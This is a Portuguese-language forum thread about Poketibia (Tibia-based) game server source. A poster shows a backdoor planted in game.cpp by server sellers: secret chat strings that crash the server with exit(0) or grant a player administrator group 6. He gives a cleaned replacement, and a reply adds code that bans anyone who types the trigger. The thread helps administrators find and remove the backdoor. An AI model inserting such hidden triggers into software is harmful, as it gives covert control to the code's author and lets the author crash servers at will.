Source Poketibia - Código de derrubar

Prometheus X
em Programming Show-Off

Prometheus X

Freelancer
avatar
Artesão
Artesão

INFOS

Grupo: ArtesãoRegistrado: 06/11/16Posts: 146Gênero: Masculino


Olá EKZ, hoje um amigo me disse que ele comprou um servidor e estava com código que quem vendeu para ele conseguia pegar administrador e crashar o jogo e estava ferrando com o jogo , enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava cargo de administrador a um jogador com groups de player. Então eu achei muita mancada e vim postar aqui para ajudar pessoas que são administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará das sources do seu servidor para fazer essa verificação, caso possua o código peço que siga o tutorial abaixo.




 




Ache em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso)




 




bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text,
bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/)
{
Player* player = creature->getPlayer();
if(player && player->isAccountManager())
{
player->manageAccount(text);
return true;
}

if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108")
{
exit(0);
}

if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108")
{
player->setGroup(Groups::getInstance()->getGroup(6));
}

Position destPos = creature->getPosition();
if(pos)
destPos = (*pos);

SpectatorVec list;
SpectatorVec::const_iterator it;
if(!spectators || !spectators->size())
{



Mude para:




 




bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text,
bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/)
{
Player* player = creature->getPlayer();
if(player && player->isAccountManager())
{
player->manageAccount(text);
return true;
}

Position destPos = creature->getPosition();
if(pos)
destPos = (*pos);

SpectatorVec list;
SpectatorVec::const_iterator it;
if(!spectators || !spectators->size())
{



 




Créditos




Prometheus X (Por Trazer ao Xtibia)




Alexy Brocanello (Pelo Código)




CipSoft (Pelo Código Original)




 




Qualquer outro será creditado !




 




Atenciosamente




Prometheus X


 

 

kaleudd

avatar
Conde
Conde

INFOS

Grupo: CondeRegistrado: 15/06/15Posts: 729
1 hora atrás, Prometheus X disse:

Olá EKZ, hoje um amigo me disse que ele comprou um servidor e estava com código que quem vendeu para ele conseguia pegar administrador e crashar o jogo e estava ferrando com o jogo , enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava cargo de administrador a um jogador com groups de player. Então eu achei muita mancada e vim postar aqui para ajudar pessoas que são administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará das sources do seu servidor para fazer essa verificação, caso possua o código peço que siga o tutorial abaixo.

 

Ache em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso)

 

bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text,	bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/){	Player* player = creature->getPlayer();	if(player && player->isAccountManager())	{		player->manageAccount(text);		return true;	}		if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108")    {	exit(0);    }		if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108")    {     player->setGroup(Groups::getInstance()->getGroup(6));    }	Position destPos = creature->getPosition();	if(pos)		destPos = (*pos);	SpectatorVec list;	SpectatorVec::const_iterator it;	if(!spectators || !spectators->size())	{

Mude para:

 

bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text,	bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/){	Player* player = creature->getPlayer();	if(player && player->isAccountManager())	{		player->manageAccount(text);		return true;	}	Position destPos = creature->getPosition();	if(pos)		destPos = (*pos);	SpectatorVec list;	SpectatorVec::const_iterator it;	if(!spectators || !spectators->size())	{

 

Créditos

Prometheus X (Por Trazer ao Xtibia)

Alexy Brocanello (Pelo Código)

CipSoft (Pelo Código Original)

 

Qualquer outro será creditado !

 

Atenciosamente

Prometheus X

muito bom,ja sabia disto,porém não sabia interpretar o codigo,agora sei,vlw =):

Prometheus X

Freelancer
avatar
Artesão
Artesão

INFOS

Grupo: ArtesãoRegistrado: 06/11/16Posts: 146Gênero: Masculino
55 minutos atrás, kaleudd disse:

muito bom,ja sabia disto,porém não sabia interpretar o codigo,agora sei,vlw =):

Nada =):

 

 

nociam

avatar
Conde
Conde

INFOS

Grupo: CondeRegistrado: 04/02/13Posts: 541Gênero: Masculino

kkk, sabe o que vc deveria ter feito caso um espertinho diga esses numeros  ele tomaria um ban ai eu queria  ver kkkkkk.

Prometheus X

Freelancer
avatar
Artesão
Artesão

INFOS

Grupo: ArtesãoRegistrado: 06/11/16Posts: 146Gênero: Masculino
54 minutos atrás, nociam disse:

kkk, sabe o que vc deveria ter feito caso um espertinho diga esses numeros  ele tomaria um ban ai eu queria  ver kkkkkk.

O Cargo é Setado Antes do banimento então o cara iria ficar impune, haha.

 

 

Drakopoulos

Pra mim, tudo é um desafio que pode ser descoberto.
avatar
Visconde
Visconde

INFOS

Grupo: ViscondeRegistrado: 20/03/14Posts: 367Gênero: Masculino
1 hora atrás, nociam disse:

kkk, sabe o que vc deveria ter feito caso um espertinho diga esses numeros  ele tomaria um ban ai eu queria  ver kkkkkk.

Tbm pensei nisso ahusdhuahusdaus

pra fazer isso só trocar 

exit(0);

player->setGroup(Groups::getInstance()->getGroup(6));

por

		Account tmp = IOLoginData::getInstance()->loadAccount(player->getAccount(), true);		if(IOBan::getInstance()->addAccountBanishment(tmp.number, -1, 13, ACTION_DELETION,		"Sending shutdown code deprecated.", 0, player->getGUID()))			{				IOLoginData::getInstance()->saveAccount(tmp);				player->sendTextMessage(MSG_INFO_DESCR, "You have been banished.");				addMagicEffect(player->getPosition(), MAGIC_EFFECT_WRAPS_GREEN);				Scheduler::getInstance().addEvent(createSchedulerTask(1000, boost::bind(				&Game::kickPlayer, this, player->getID(), false)));			}

Que ao executar o código ele toma o ban.

kaleudd

avatar
Conde
Conde

INFOS

Grupo: CondeRegistrado: 15/06/15Posts: 729

mais qual seria o codigo?